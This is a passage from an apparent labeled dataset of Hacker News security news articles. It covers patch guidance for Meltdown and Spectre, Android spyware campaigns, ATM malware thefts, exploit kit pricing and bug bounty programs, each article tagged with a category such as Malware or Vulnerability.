It is very difficult to detect Second-order vulnerabilities when analyzing the source code statically, but ""By analysing reads and writes to memory locations of the web server, we are able to identify unsanitized data flows by connecting input and output points of data in persistent data stores such as databases or session data,"" said researchers, who revealed 159 second-order vulnerabilities in six popular web applications including several critical zero-day holes.

The researchers, Johannes Dahse and Thorsten Holz of Ruhr University in Bochum, Germany, received $50,000 prize money by an award committee made up of Facebook and USENIX representatives. The committee saw a ""clear path"" for using the money to build the research into technology that could be implemented in the real world.

The Internet Defense Prize is an ongoing program and the committee is soliciting new entries for a future prize, according to John ""Four"" Flynn, a security engineering manager at Facebook who served on the Award Committee for the Internet Defense Prize.
""We decided to focus on creating greater opportunities and incentives for researchers to produce work that actually protects people,"" Flynn wrote in a blog post. ""Our answer is the Internet Defense Prize, an award to recognize superior quality research that combines a working prototype with significant contributions to the security of the internet — particularly in the areas of protection and defense.""
The committee is inviting researchers and security enthusiasts to submit their work to Facebook for consideration to be a future recipient of the Internet Defense Prize, and said that the award amount may increase depending on the strength of the submission, or it may hold onto the funds if no project meets the bar.

Last November, Facebook has also helped create the Internet Bug Bounty, similar to the Internet Defense Prize, in order to reward researchers for finding large-scale Internet vulnerabilities in open source software projects. The Internet Bug Bounty is hosted by HackerOne, which also includes other large companies such as Microsoft and Google.

",Vulnerability
[Guide] How to Protect Your Devices Against Meltdown and Spectre Attacks,https://thehackernews.com/2018/01/meltdown-spectre-patches.html,"Recently uncovered two huge processor vulnerabilities called Meltdown and Spectre have taken the whole world by storm, while vendors are rushing out to patch the vulnerabilities in its products.

The issues apply to all modern processors and affect nearly all operating systems (Windows, Linux, Android, iOS, macOS, FreeBSD, and more), smartphones and other computing devices made in the past 20 years.

What are Spectre and Meltdown?

We have explained both, Meltdown (CVE-2017-5754) and Spectre (CVE-2017-5753, CVE-2017-5715), exploitation techniques in our previous article.

In short, Spectre and Meltdown are the names of security vulnerabilities found in many processors from Intel, ARM and AMD that could allow attackers to steal your passwords, encryption keys and other private information.

Both attacks abuse 'speculative execution' to access privileged memory—including those allocated for the kernel—from a low privileged user process like a malicious app running on a device, allowing attackers to steal passwords, login keys, and other valuable information.

Protect Against Meltdown and Spectre CPU Flaws

Some, including US-CERT, have suggested the only true patch for these issues is for chips to be replaced, but this solution seems to be impractical for the general user and most companies.

Vendors have made significant progress in rolling out fixes and firmware updates. While the Meltdown flaw has already been patched by most companies like Microsoft, Apple and Google, Spectre is not easy to patch and will haunt people for quite some time.

Here's the list of available patches from major tech manufacturers:

Windows OS (7/8/10) and Microsoft Edge/IE

Microsoft has already released an out-of-band security update (KB4056892) for Windows 10 to address the Meltdown issue and will be releasing patches for Windows 7 and Windows 8 on January 9th.

But if you are running a third-party antivirus software then it is possible your system won't install patches automatically. So, if you are having trouble installing the automatic security update, turn off your antivirus and use Windows Defender or Microsoft Security Essentials.
""The compatibility issue is caused when antivirus applications make unsupported calls into Windows kernel memory,"" Microsoft noted in a blog post. ""These calls may cause stop errors (also known as blue screen errors) that make the device unable to boot.""

Apple macOS, iOS, tvOS, and Safari Browser

Apple noted in its advisory, ""All Mac systems and iOS devices are affected, but there are no known exploits impacting customers at this time.""

To help defend against the Meltdown attacks, Apple has already released mitigations in iOS 11.2, macOS 10.13.2, and tvOS 11.2, has planned to release mitigations in Safari to help defend against Spectre in the coming days.

Android OS

Android users running the most recent version of the mobile operating system released on January 5 as part of the Android January security patch update are protected, according to Google.

So, if you own a Google-branded phone, like Nexus or Pixel, your phone will either automatically download the update, or you'll simply need to install it. However, other Android users have to wait for their device manufacturers to release a compatible security update.

The tech giant also noted that it's unaware of any successful exploitation of either Meltdown or Spectre on ARM-based Android devices.

Firefox Web Browser

Mozilla has released Firefox version 57.0.4 which includes mitigations for both Meltdown and Spectre timing attacks. So users are advised to update their installations as soon as possible.
""Since this new class of attacks involves measuring precise time intervals, as a partial, short-term mitigation we are disabling or reducing the precision of several time sources in Firefox,"" Mozilla software engineer Luke Wagner wrote in a blog post.

Google Chrome Web Browser

Google has scheduled the patches for Meltdown and Spectre exploits on January 23 with the release of Chrome 64, which will include mitigations to protect your desktop and smartphone from web-based attacks.

In the meantime, users can enable an experimental feature called ""Site Isolation"" that can offer some protection against the web-based exploits but might also cause performance problems.
""Site Isolation makes it harder for untrusted websites to access or steal information from your accounts on other websites. Websites typically cannot access each other's data inside the browser, thanks to code that enforces the Same Origin Policy."" Google says.
Here's how to turn on Site Isolation:
Copy chrome://flags/#enable-site-per-process and paste it into the URL field at the top of your Chrome web browser, and then hit the Enter key.
Look for Strict Site Isolation, then click the box labelled Enable.
Once done, hit Relaunch Now to relaunch your Chrome browser.

Linux Distributions

The Linux kernel developers have also released patches for the Linux kernel with releases including versions 4.14.11, 4.9.74, 4.4.109, 3.16.52, 3.18.91 and 3.2.97, which can be downloaded from Kernel.org.

VMware and Citrix

A global leader in cloud computing and virtualisation, VMware, has also released a list of its products affected by the two attacks and security updates for its ESXi, Workstation and Fusion products to patch against Meltdown attacks.

On the other hand, another popular cloud computing and virtualisation vendor Citrix did not release any security patches to address the issue. Instead, the company guided its customers and recommended them to check for any update on relevant third-party software.

",Cyber_Attack
Hackers Set Up a Fake Cybersecurity Firm to Target Security Experts,https://thehackernews.com/2021/03/hackers-set-up-fake-cybersecurity-firm.html,"A North Korean government-backed campaign targeting cybersecurity researchers with malware has re-emerged with new tactics in their arsenal as part of a fresh social engineering attack.
In an update shared on Wednesday, Google's Threat Analysis Group said the attackers behind the operation set up a fake security company called SecuriElite and a slew of social media accounts across Twitter and LinkedIn in an attempt to trick unsuspecting researchers into visiting the company's booby-trapped website ""where a browser exploit was waiting to be triggered.""
""The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits,"" TAG's Adam Weidemann said. The website is said to have gone live on March 17.
A total of eight Twitter profiles and seven LinkedIn profiles, who claimed to be vulnerability researchers and human resources personnel at different security firms (including Trend Macro, inspired by Trend Micro), were created for this purpose, with a few others posing as the chief executive officer and employees at the fictitious company. All the accounts have since been suspended.
As a precaution, Google has added the website's URL to its Safebrowsing blocklist service to prevent accidental visits, even though the site hasn't been found to serve any malicious content.
The campaign was initially flagged by TAG in January 2021, when it came to light that the adversary had created a research blog and multiple profiles on various social media platforms such as Twitter, LinkedIn, Telegram, Discord, and Keybase in a bid to communicate with the researchers and build trust, only to deploy a Windows backdoor that came in the form of a trojanized Visual Studio Project.
Following the disclosure, researchers from South Korean cybersecurity firm ENKI revealed a zero-day in Internet Explorer that it said allowed the hackers to access the devices managed by its security team with malicious MHTML files. Microsoft later addressed the issue in its Patch Tuesday update for March 2021.
If anything, the latest development is yet another example of attackers quickly shifting gears when their methods are discovered and exposed publicly.
The real motive behind the attacks remains unclear as yet, although it's being suspected that the threat actor may be attempting to stealthily gain a foothold on systems in order to get hold of zero-day research, and in the process, use those unpatched vulnerabilities to stage further attacks on vulnerable targets of their choice.

",Cyber_Attack
Yet Another Android Malware Infects Over 4.2 Million Google Play Store Users,https://thehackernews.com/2017/09/play-store-malware.html,"Even after so many efforts by Google, malicious apps somehow managed to fool its Play Store's anti-malware protections and infect people with malicious software.

The same happened once again when at least 50 apps managed to make its way onto Google Play Store and were successfully downloaded as many as 4.2 million times—one of the biggest malware outbreaks.

Security firm Check Point on Thursday published a blog post revealing at least 50 Android apps that were free to download on official Play Store and were downloaded between 1 million and 4.2 million times before Google removed them.

These Android apps come with hidden malware payload that secretly registers victims for paid online services, sends fraudulent premium text messages from victims' smartphones and leaves them to pay the bill—all without the knowledge or permission of users.

Dubbed ExpensiveWall by Check Point researchers because it was found in the Lovely Wallpaper app, the malware comes hidden in free wallpaper, video or photo editing apps. It's a new variant of malware that Mcafee spotted earlier this year on the Play Store.

But what makes ExpensiveWall malware different from its other variants is that it makes use of an advanced obfuscation technique called ""packed,"" which compresses malicious code and encrypts it to evade Google Play Store's built-in anti-malware protections.

The researchers notified Google of the malicious apps on August 7, and the software giant quickly removed all of them, but within few days, the malware re-emerged on the Play Store and infected over 5,000 devices before it was removed four days later, Check Point said.

Here's How ExpensiveWall Malware Works:
Once an app with ExpensiveWall—which researchers think came from a software development kit called GTK—is downloaded on a victim's device, the malicious app asks for user's permission to access the Internet, and send and receive SMS messages.

The internet access is used by the malware to connect the victim's device to the attacker's command and control server, where it sends information on the infected handset, including its location alongside unique hardware identifiers, such as MAC and IP addresses, IMSI and IMEI numbers.

The C&C server then sends the malware a URL, which it opens in an embedded WebView window to download JavaScript code that begins to clock up bills for the victim by sending fraudulent premium SMS messages without their knowledge, and uses the victim's phone number to register for paid services.

However, according to the Check Point researchers, it is still unclear how much revenue was generated via ExpensiveWall's premium SMS scam.

Google's Play Store—Home for Malware

Android malware continues to evolve with more sophisticated and never-seen-before capabilities with every passing day, and spotting them on Google Play Store has become quite a common thing.

Last month, over 500 Android apps with spyware capabilities were found on Play Store, which had been downloaded more than 100 million times.

In July, Lipizzan spyware apps were spotted on Play Store that can steal a whole lot of information on users, including text messages, emails, voice calls, photos, location data, and other files, and spy on them.

In June, more than 800 Xavier-laden apps were discovered on Google Play that had been downloaded millions of times, and the same month researchers found first code injecting rooting malware making rounds on Google Play Store.

A month prior to it, researchers spotted 41 apps on Play Store hidden with the Judy Malware that infected 36.5 million Android devices with malicious ad-click software.

In April, over 40 apps with hidden FalseGuide malware were spotted on Play Store that made 2 Million Android users victims.

Earlier this year, researchers also discovered a new variant of the HummingBad malware, dubbed HummingWhale, hidden in more than 20 apps on Google Play Store, which were downloaded by over 12 Million users.

How to Protect Your Android From Such Malware Apps

Even after Google removed all the malware-tainted apps from its official Play Store marketplace, your smartphones will remain infected with the ExpensiveWall malware until you explicitly uninstall the malicious apps, if you have downloaded any.

Google has recently provided a security feature known as Play Protect that uses machine learning and app usage analysis to automatically remove malicious apps from the affected smartphones to prevent further harm.

However, according to the Check Point researchers, many phones run an older version of Android that does not support the feature, leaving a wide audience open to malware attacks.

You are strongly advised to always keep a good antivirus app on your device that can detect and block any malicious app before it can infect your device, and always keep your device and all apps up-to-date.

",Malware
"ATMs in Thailand Hacked; 12 Million Baht Stolen; 10,000 ATMs Prone to Hackers",https://thehackernews.com/2016/08/thailand-atm-hack.html,"Thailand has suffered its first ATM Hack!

An Eastern European gang of criminals has stolen over 12 Million Baht (approximately US$350,000) from a total of 21 ATMs in Bangkok and other five provinces by hacking a Thai bank's ATM network; police said Wednesday

The Central Bank of Thailand (BoT) has issued a warning to all commercial banks about security flaws in roughly 10,000 ATMs that were exploited to steal cash from the machines.

The warning came shortly after the state-owned Government Savings Bank (GSB) shut down approximately 3,000 of their ATMs following an ongoing police investigation into the recent hack in which hackers were able to infect many its cash machines with malware.

GSB found that millions of Thailand Baht were stolen between August 1 and 8 from 21 ATMs across the provinces of Bangkok, Phuket, Chumphon, Prachuap Khiri Khan, Phetchaburi, and Surat Thani, the Bangkok Post reports.

The hackers made over 12.29 Million Thailand Baht (US$346,000) by inserting cards installed with malware into multiple ATMs to spew out cash, up to 40,000 Baht each transaction.

GSB President Chartchai Payuhanaveechai told the local media that the bank has reviewed security camera footage and identified potential suspects as foreign nationals who infected their cash machines with malware that forced them to dispense cash.

Payuhanaweechai also ensured its customers that they are not affected by the theft as the gang's malware only tricked the bank ATMs to release cash without authorization, not from customers' accounts.

Thai police suspect a ring of at least 25 Eastern European nationals committed the crime and link them to a similar hacking theft occurred last month when the top eight banks in Taiwan were forced to shut down hundreds of its ATMS after thieves used malware to steal NT$70 Million ($2.17 Million) in cash.

",Cyber_Attack
The Evolution of Cyber Threat; Interview with IntelCrawler's Researchers,https://thehackernews.com/2013/12/the-evolution-of-cyber-threat-interview.html,"Today I desire to propose an interview with Andrey Komarov, CEO of IntelCrawler and Dan Clements, President of IntelCrawler. IntelCrawler is a multi-tier intelligence aggregator, which gathers information and cyber prints from a starting big data pool of over 3, 000, 000, 000 IPv4 and over 200, 000, 000 domain names, which are scanned for analytics and dissemination to drill down to a desired result.

I have prepared for them a series of answers and questions to analyze significant evolutions in the cyber-threat landscape:

Q. Which are the most concerning cyber threats for private businesses and government organizations?
A. Avoiding talking about usual and standard things, of course, the most dangerous and annoying is the emergence of fundamentally new vulnerabilities in critical applications and systems. ""Zero day"" vulnerabilities market is developing every day and taking the shape of a part of the future cyber warfare market, as it is still in the process of formation. Neither consumers in the face of government or companies, nor vendors are not ready for such kind of threat, which makes mitigation actions very complicated.
Q. Which are the industries most exposed to cyber attacks and why?
A. Just imagine, what would be interesting for you, if your main interests were money and information? It is two main reasons of all past and today's cyber attacks in the world. First of all, it is all related to profitable commercial business, such as private banking and industrial sector, ending with government infrastructures, which relates to state sponsored attacks. It is true, as cyber offensive approaches displace ""old school"", such as signal intelligence, as it is much cheaper and easier in the 21st century. The role of information takes new forms, making the computer communications as a battlefield of modern cyber warfare.

Which are the factors that most of all have influenced the design of malicious code in the last year (e.g. P2P communication protocols, advanced evasion techniques, hiding C&C in Tor networks)

Malware coders are interested in hiding of the communications between the infected host and C&C, that's why the stable trend is to create or to use alternative means of communications. That's why, there were lots of new kinds of samples, which used C&C in TOR or I2P, which was really exotic for the first time, but then became one of the standards for the cybercriminals.

Q. Which is the role of the intelligence in the fight to the cybercrime?
A. The role of e-crime intelligence is huge, as sometimes only timely notification about planned threat can help to prevent cyber attack or fraud. There are some difficulties in this niche as well, such as the heterogeneity of geographies cyber criminals live, the languages they speak, opportunity of deep infiltration in Underground communities, gathering information on the real identity of the criminals in the age of anonymity and impersonality and etc., all these aspects forcing us to organize systematical monitoring of several the most important regions, such as Asian segment, former USSR, risky EU-based countries, such as Romania, and use a large network of trusted sources. Software protection ways can't help on 100%, that's why human resources and intelligence are one of the most important additional elements.

Q. Malware and Internet of things, what to expect in the next months?
A. First of all, new variants of mobile malware, as it will be one of the most actual for the nearest future, because of global ""mobilization"". Secondly, new kinds of online-banking trojans and the appearance of medication of POS/ATM malicious code, as ""skimming"" becomes too expensive and risky. Thirdly, hacking and surveillance will damage your privacy more and more, as it is inseparable.

Q. Does it exist a marked distinction between cybercrime and state-sponsored hacking?
A. Yes, as state-sponsored hacking has more specifics. Interesting fact, that firstly cybercriminality creates the trend for further state-sponsored hacking, governments copy its actions and explore the methods and means they use in that or this country, as it is really different. Just compare, Chinese hackers and Latin American hackers, absolutely different style of intrusions, fundamentally different approaches on malicious code, as Chinese stuff is more sophisticated, because of great experience and scientific potential across the whole country.

Q. Which are the governments most active in cyberspace?
A. You should be very cautions talking about exact governments in cyber world, because it is still not very transparent. Good example, we have detected the C&C placed in Morocco, but the owners of the botnets who were behind using email accounts registered on GMX.DE. Another is when the malware after reverse engineering and unpacking had strings written in Hebrew, but hosted in Latvia. Despite these facts, the leaders of this industry certainly are: China, USA, Russia, Germany, France, UK, UAE and Saudi Arabia and Israel.

Q. Do you think it is possible a major cyber attack against a government network or a critical infrastructure in the next year?
A. Yes, as it is one of the today's main interests of bad actors, doesn't matter state sponsored or general criminals.

Q. Do you think it is possible that a Stuxnet like malware is already operating on the Internet?
A. You never know, but I think that the topic of embedded systems backdooring or malware distribution under PLC/RTU/SCADA is still very actual. And was not deleted from the plans of the intelligence community.

Dan Clements: IntelCrawler President, former Cardcops president, one of the first cybercrime intelligence company, which worked with major banks in the US on compromised data recovery.

Andrey Komarov: IntelCrawler CEO, author of OWASP SCADA Security Project. Expert in critical infrastructure protection (CIP) and SCADA security assessment. Responsible for cyber intelligence and e-crime intelligence topics in the company, as well as for R&D on Big Data and IPv4/IPv6 address space research.

",Malware
Warning — 5 New Trojanized Android Apps Spying On Users In Pakistan,https://thehackernews.com/2021/01/warning-5-new-trojanized-android-apps.html,"Cybersecurity researchers took the wraps off a new spyware operation targeting users in Pakistan that leverages trojanized versions of legitimate Android apps to carry out covert surveillance and espionage.
Designed to masquerade apps such as the Pakistan Citizen Portal, a Muslim prayer-clock app called Pakistan Salat Time, Mobile Packages Pakistan, Registered SIMs Checker, and TPL Insurance, the malicious variants have been found to obfuscate their operations to stealthily download a payload in the form of an Android Dalvik executable (DEX) file.
""The DEX payload contains most of the malicious features, which include the ability to covertly exfiltrate sensitive data like the user's contact list and the full contents of SMS messages,"" Sophos threat researchers Pankaj Kohli and Andrew Brandt said.
""The app then sends this information to one of a small number of command-and-control websites hosted on servers located in eastern Europe.""
Interestingly, the fake website of the Pakistan Citizen Portal was also prominently displayed in the form of a static image on the Trading Corporation of Pakistan (TCP) website, potentially in an attempt to lure unsuspecting users into downloading the malware-laced app.
Visiting the TCP website (tcp.gov.pk) now shows the message ""Down for Maintenance.""
Besides the aforementioned apps, Sophos researchers also discovered a separate app called Pakistan Chat that didn't have a benign analogue distributed via the Google Play Store. But the app was found to leverage the API of a legitimate chat service called ChatGum.
Once installed, the app requests intrusive permissions, including the ability to access contacts, file system, location, microphone, and read SMS messages, which allow it to gather a wide swathe of data on a victim's device.
All these apps have one singular purpose — to conduct covert surveillance and exfiltrate the data from a target device. In addition to sending the unique IMEI identifier, the DEX payload relays detailed profile information about the phone, location information, contact lists, the contents of text messages, call logs and the full directory listing of any internal or SD card storage on the device.
Troublingly, the malicious Pakistan Citizen Portal app also transmits sensitive information such as users' computerized national identity card (CNIC) numbers, their passport details, and the username and password for Facebook and other accounts.
""The spying and covert surveillance capability of these modified Android apps highlight the dangers of spyware to smartphone users everywhere,"" Pankaj Kohli said. ""Cyber-adversaries target mobiles not just to get their hands on sensitive and personal information, but because they offer a real-time window into people's lives, their physical location, movements, and even live conversations taking place within listening range of the infected phone.""
If anything, the development is yet another reason why users need to stick to trusted sources to download third-party apps, verify if an app is indeed built by a genuine developer, and carefully scrutinize app permissions before installation.
""In the current Android ecosystem, apps are cryptographically signed as a way to certify the code originates with a legitimate source, tying the app to its developer,"" the researchers concluded. ""However, Android doesn't do a good job exposing to the end user when a signed app's certificate isn't legitimate or doesn't validate. As such, users have no easy way of knowing if an app was indeed published by its genuine developer.""
""This allows threat actors to develop and publish fake versions of popular apps. The existence of a large number of app stores, and the freedom of users to install an app from practically anywhere makes it even harder to combat such threats.""

",Cyber_Attack
Why You Should Enroll In Cyber Security Awareness Training,https://thehackernews.com/2015/04/cyber-security-training.html,"When it comes to cyber security, even big organizations lack the basic knowledge of how to protect company's data from the outside.

Everyday businesses are facing the threat of phishing, ransomware, data breaches and malware attacks that not only results in millions of dollars losses, but also damaged the reputations.

A new study shows that five out of six of the most serious IT security threats directly relate to phishing or the aftermath of a successful phishing attack.

SEA, short for Syrian Electronic Army, is famous for its advanced phishing attack capabilities and with the help of the same technique they fooled many popular organizations, social media and news media, including Twitter, Microsoft, Skype, Forbes, eBay and Paypal.

Where do we lack?

According to the annual Verizon Data Breach Investigations report, about 58% of cyber security incidents were caused by employees, either due to failure in handling data or approving malicious data.

So, in order to cope up with online threats, individuals need to know how to deal with different kinds of Internet threats such as how to identify phishing emails sent by hackers, how to know which software applications are ""safe"" to install. And…

…this is where your company's employees and, according to me, every individual need a good Cyber Security Awareness training program that can educate them.

Someone said that if you have to catch a thief, you should think like a criminal. In a similar way, if a former World's most wanted hacker gives you training then what could stop you to become a cyber expert.

Yes, KnowBe4 brought you Kevin Mitnick -- the past Most Wanted hacker in the world and now a Fortune 500 Security Consultant -- for proving the Cyber Security Awareness training program.

Kevin Mitnick Security Awareness Training 2015
Kevin Mitnick has 30+ years of first-hand experience with hacking and social engineering, and this is the very first time that his experience is available in a web-based format.

The Kevin Mitnick Security Awareness Training program includes a high quality web-based interactive video training combined with frequent simulated phishing attacks, live demonstration videos, using case-studies and short tests.

The training program specializes in making sure employees understand the mechanisms of phishing, spear phishing, spam, malware and social engineering, and are then able to apply this knowledge in their day-to-day job.

Each case study ends with its own short multiple choice test and after the training, KnowBe4's highly effective scheduled Phishing Security Tests keep your employees aware of threats.

From your Admin Console you are able to schedule regular Phishing Security Tests (PST for short) from our library of known-to-work templates.

In case an employee falls for one of these simulated phishing attacks, you have several options for correction, including instant remedial online training.

Kevin Mitnick Security Awareness Training 2015 is a great service that will help your employees to become aware of the dangers of the Internet.
The unique feature of this training are the frequent simulated phishing attacks that you can send to your employees to keep them on their toes with security top of mind.

Register now for Kevin Mitnick Cyber Security Training

",Malware
Narilam malware target Iran Financial SQL Databases,https://thehackernews.com/2012/11/narilam-malware-target-iran-financial.html,"Symantec recently identified a database-corrupting piece of malware targeting systems mostly in Iran, but despite early speculation that it could be related to the likes of Stuxnet and Flame, it appears to be targeting small businesses rather than the country's infrastructure.

Malware Dubbed W32.Narilam, is predominantly active in the Middle East, and it has also been detected in the USA and UK. The worm looks for particular words in Microsoft SQL databases and overwrites them.
The worm specifically targets SQL databases with three distinct names, alim, maliran, and shahd. Once the targeted databases are found, Narilam looks for specific objects and tables and either deletes the tables or replaces items with random values.

On Monday an alert was published on tarrahsystem.com warning of the W32.Narilam threat to its customers. The bulk of the infections thus far have been found in the Middle East, particularly Iran and Afghanistan.

Kaspersky Lab took issue with reports based on Symantec's claim that Narilam was built using Delphi. ""We've analysed the sample and found no obvious connection with these. Duqu, Stuxnet, Flame and Gauss have all been compiled with versions of Microsoft Visual C, while Narilam was built with Borland C++ Builder 6 (and not Delphi, as other articles seem to suggest), a completely different programming tool.""

Iran's Computer Emergency Response Team issued a statement calling Narilam unsophisticated and ""has no sign of a major threat."" In fact, Iran's CERT said it had been previously detected in 2010 and targets accounting software developed by an Iranian company used by small businesses.

",Malware
Internet Explorer 8 zero-day attack spreads on 9 other sites,https://thehackernews.com/2013/05/internet-explorer-8-zero-day-attack.html,"Watering hole Internet Explorer 8 zero-day attack on the US Department of Labor website last week has spread to 9 more global websites over the weekend, including those run by a big European company operating in the aerospace, defense, and security industries as well as non-profit groups and institutes

Attacks exploiting a previously unknown and currently unpatched vulnerability in Microsoft's Internet Explorer browser have spread to at least. Researchers analyzing the attacks say that the attack tie it to a China-based hacking group known as ""DeepPanda"".

Security firm CrowdStrike said its researchers unearthed evidence suggesting that the campaign began in mid-March. Their analysis of logs from the malicious infrastructure used in the attacks revealed the IP addresses of visitors to the compromised sites.
The logs showed addresses from 37 different countries, with 71 percent of them in the US, 11 percent in South/Southeast Asia, and 10 percent in Europe.

Microsoft confirmed the remote code-execution vulnerability on Friday night. Versions 6, 7, 9, and 10 of the browser are immune to these attacks. Microsoft has simply suggested IE8 users upgrade to a newer version for now.

This is just the latest in a series of so-called ""watering hole"" attacks targeting government workers and political figures within the U.S. government. In January, a compromise at the website of The Council on Foreign Relations was widely seen as an effort to gain access to influential D.C. policymakers and officials. A similar incident affecting the website of The National Journal was reported in March.

In watering hole attacks, victims are not attacked directly. Rather, attackers compromise a trusted, third-party website that the intended targets are likely to visit, then launch a silent attack when they visit the site.

",Vulnerability
Over 70% of Washington DC's CCTV Were Hacked Before Trump Inauguration,https://thehackernews.com/2017/01/ransomware-cctv-hack.html,"Just days before the inauguration of President Donald Trump, cyber criminals infected 70 percent of storage devices that record data from feds surveillance cameras in Washington D.C. in a cyber attack.

Any guess, What kind of virus could have hit the storage devices?

Once again, the culprit is Ransomware, which has become a noxious game of Hackers to get paid effortlessly.

Ransomware is an infamous piece of malware that has been known for locking up computer files and then demanding a ransom in Bitcoins in order to help victims unlock their files.

But over time, the threat has changed its way from computers and smartphones to Internet-of-Thing (IoT) devices.

Ransomware Infected 70% Surveillance Cameras in Washington D.C.

This time the hackers managed to plant ransomware in 123 of its 187 network video recorders, each controlling up to four CCTVs used in public spaces throughout Washington D.C, which eventually left them out from recording anything between 12 and 15 January.

Officials told the Washington Post that the incident forced them to take the storage devices offline, remove the infection and rebooted the systems across the city, but did not fulfill any ransom demands by the hackers.

While the storage devices were successfully put back to rights and the CCTV cameras were back to work, it is still unclear if any valuable data was lost or if the ransomware infection merely crippled the affected computer network devices.

Washington's chief technology officer Archana Vemulapalli said the officials are now investigating the source of hacking, assuring that the incident was limited to the storage devices tied to closed-circuit TV system and did not affect other D.C. government networks.

Rise in Ransomware: Both in Numbers and Sophistication

Ransomware is the hackers sure-shot way to get paid effortlessly. The threat has been around for a few years, but nowadays it has become one of the most used types of hacking methods.

Recently, hundreds of guests of a luxurious hotel in Austria were locked out of their rooms when ransomware malware hit the hotel's IT system, and the hotel paid the attackers to get back the control of their systems.

We saw an enormous rise in Ransomware threats, both in numbers and sophistication. You would be surprised to know about KillDisk data wiping ransomware that encrypts files and asks for an unusually large ransom of around $218,000 in Bitcoins, but did not provide decryption keeps even after the payment has made.

Another weird ransomware variant was Popcorn Time that was designed to give victims options to either pay a ransom to hackers or infect two more people and have them pay the ransom to get a free decryption key.

Prevention is the Best Practice

The only safe way of dealing with ransomware is prevention. The best defense against Ransomware malware is to create awareness within the organizations, as well as to maintain back-ups that are rotated regularly.

Most viruses and infections are introduced by opening infected attachments or clicking on malicious links usually served in spam emails. So, don't click on links provided in emails and attachments from unknown sources.

Besides this, always ensure that your systems and devices are running the latest version of Antivirus software with updated malware definitions.

",Cyber_Attack
"Google raises Hackers bounties to $20,000",https://thehackernews.com/2012/04/google-raises-hackers-bounties-to-20000.html,"Google raises Hackers bounties to $20,000


Google on Monday raised to $20,000 its bounty on software bugs that hackers could exploit for cyber attacks on the Internet giant's online services.

The maximum reward for exposing a vulnerability that would let an intruder's code get up to mischief in a Google data centre was ramped up from the $US3,133 ($A3,030) payout set when the bounty program was launched in November of 2010.

Remote code flaws found in Google's Web apps will also be rewarded $20,000.The term ""remote code execution"" refers to the most serious category of vulnerabilities, those which when exploited allow an attacker to hijack a system and/or plant malware on a machine.

A $10,000 bounty will be paid for SQL injection bugs or significant authentication bypass or data leak vulnerabilities, Google said in the revised rules for the program.

At Google's Pwnium contest in March, Google paid out $60,000 prizes to anyone that could exploit the Chrome browser. Two people managed to do so, and collected the money. Even at that rate, security researchers have made it clear the exploits would have been worth more if sold to malicious individuals. Google's $20,000 top payment is likely still far below the market rate.

The bounty was raised to inspire software savants to hunt for difficult-to-find, and potentially perilous, bugs hidden deep in programs

",Vulnerability
Phoenix Exploit's Kit 2.8 mini version,https://thehackernews.com/2011/10/phoenix-exploits-kit-28-mini-version.html,"Phoenix Exploit's Kit 2.8 mini version


Back in April of this year, we reported the leak of Phoenix Exploit Kit 2.5. The version currently in circulation is 2.8, and despite its lower activity for the last half of this year, it remains one of the preferred exploit packs used by cyber-criminals.

In comparison to the Black Hole Exploit Pack, the PEK has a similar licensing model. The last version released offered an ""alternative"" to purchasing the exploit pack. This ""alternative"" is the Phoenix Exploit's Kit 2.8 mini.

The current licensing model consists of the following:

· Simple Domain (Closed) – USD $2,200.00
· Multithreaded Domain (Closed) – USD $2,700.00
· Extra-Encryption Service (ReFUDing) – USD $40.00

The mini version does not change the characteristics of the Exploit Pack, at least in regards to its graphical interface and functionality in relation to previous versions. Each section has the same type of display and statistical information, which is provided in a minimalistic yet concise manner. Although trivial, this is one of the main reasons for the adoption of Phoenix by cyber-criminals. The ability to easily locate information and merge the functionality of this Exploit Pack with a Malware Kit, such as SpyEye or ZeuS, increases their level of success and attack strategies.

The main difference between the full version and the mini version is that the mini version is subject to a domain under the simple mode, while the full version allows multitasking.

There isn't much new about the Exploit Pack. The code has been optimized to increase the success rate of exploitation and the exploit for Java Runtime Environment to Trusted has been added.

Also removed were the following exploits pre-compiled in version 2.7:

· Windows Help and Support Center Protocol Handler Vulnerability – CVE-2010-1885
· Integer overflow in the AVM2 abcFile parser in Adobe Flash Player – CVE-2009-1869
· Integer overflow in Adobe Flash Player 9 – CVE-2007-0071
· IEPeers Remote Code Execution – CVE-2009-0806
· Internet Explorer Recursive CSS Import Vulnerability – CVE-2010-3971

Although it's basically the same exploits (similar in all cases, including those incorporating other Exploit Packs in the wild), the author's optimized for each version. In this case, it includes the following exploits:

· Microsoft Data Access Components (MDAC) - CVE-2006-0003
· Adobe Reader Javascript Printf Buffer Overflow - CVE-2008-2992
· Adobe Reader LibTiff - CVE-2010-0188
· Adobe Reader Collab GetIcon - CVE-2009-0927
· Java SMB - CVE-2010-0746
· Java Runtime Environment Trusted - CVE-2010-0840
· Java Skyline Plug-in component in Oracle Java SE and Java for Business 6 - CVE-2010-3552
· Java Deployment Toolkit Component - CVE-2010-0886

Despite the optimization of the components for each version, it is interesting that chain optimization and updating MDAC exploits remains the most prevalent, not only in this Exploit Pack but in any of the existing Exploit Packs. What is the reason? It comes down to a lack of experience by the users (application, customers around the basic procedures update) that transforms them into a potential target and highly susceptible through this old, but effective vulnerability.
[Source]

",Malware
United States Census Bureau Hacked and Vulnerability Exposed,https://thehackernews.com/2012/02/united-states-census-bureau-hacked-and.html,"United States Census Bureau Hacked and Vulnerability Exposed


A Group of Hackers from r00tw0rm found SQL injection Vulnerability on United States Census Bureau and Hackers successfully exploit the Database and Leak it online today. The United States Census Bureau is the government agency that is responsible for the United States Census. It also gathers other national demographic and economic data. As part of the United States Department of Commerce, the Census Bureau serves as a leading source of data about America's people and economy.

The Pastebin Note include the complete Database Structure as shown:

There is no reason mentioned for this attack yet by Hacker, But Hacker suggest United States Census Bureau to fix their loopholes as soon as possible. The Note include the Greets to other Hacking Groups like Inj3ct0r , TeaMp0isoN and Anonymous, seems that its a collective hack for #Antisec.

",Vulnerability
Flaw in Popular Transmission BitTorrent Client Lets Hackers Control Your PC Remotely,https://thehackernews.com/2018/01/bittorent-transmission-hacking.html,"A critical vulnerability has been discovered in the widely used Transmission BitTorrent app that could allow hackers to remotely execute malicious code on BitTorrent users' computers and take control of them.

The vulnerability has been uncovered by Google's Project Zero vulnerability reporting team, and one of its researchers Tavis Ormandy has also posted a proof-of-concept attack—just 40 days after the initial report.

Usually, Project Zero team discloses vulnerabilities either after 90 days of reporting them to the affected vendors or until the vendor has released a patch.

However, in this case, the Project Zero researchers disclosed the vulnerability 50 days prior to the actual time limit because Transmission developers failed to apply a ready-made patch provided by the researchers over a month ago.
